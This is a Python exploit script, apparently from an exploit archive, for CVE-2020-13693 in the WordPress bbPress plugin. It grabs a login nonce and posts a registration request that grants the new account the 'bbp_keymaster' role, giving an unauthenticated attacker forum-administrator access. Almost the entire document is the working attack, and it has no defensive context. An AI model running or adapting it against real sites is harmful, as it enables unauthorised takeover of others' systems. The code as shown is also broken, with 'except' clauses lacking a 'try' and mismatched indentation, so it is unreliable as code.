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WordPress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation



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# Exploit Title: Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
# Date: 2020-05-29
# Exploit Author: Raphael Karger
# Software Link: https://codex.bbpress.org/releases/
# Version: BBPress < 2.5
# CVE: CVE-2020-13693

import argparse
import requests
import bs4
import urllib3
useragent = {"User-Agent" : "This is a real browser i swear"}

def grab_nonce_login_page(url):
        login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent)
        soup = bs4.BeautifulSoup(login_page_request.text, "lxml")
        action = soup.find("form", class_="bbp-login-form")
        wp_login_page = action.get("action")
        wp_nonce = action.find("input", id="_wpnonce").get("value")
        return (wp_nonce, wp_login_page)
    except Exception as nonce_error:
        print("[-] Nonce Error: '{}'".format(nonce_error))
    return False

def exploit(url, username, password, email):
    info = grab_nonce_login_page(url)
    if info:
        nonce = info[0]
        login_page = info[1]
            return requests.post(login_page, data={
                "user_login" : username,
                "user_pass" : password,
                "user_email" : email,
                "user-submit" : "",
                "user-cookie" : "1",
                "_wpnonce" : nonce,
                "bbp-forums-role" : "bbp_keymaster"
            }, allow_redirects=False, verify=False, timeout=10, headers=useragent)
        except Exception as e:
            print("[-] Error Making Signup Post Request: '{}'".format(e))
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks")
    parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123")
    parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com")
    parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True)
    args = parser.parse_args()
    site_exploit = exploit(args.url, args.username, args.password, args.email)
    if site_exploit and site_exploit.status_code == 302:
        exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password))
    print("[-] Exploit Failed")
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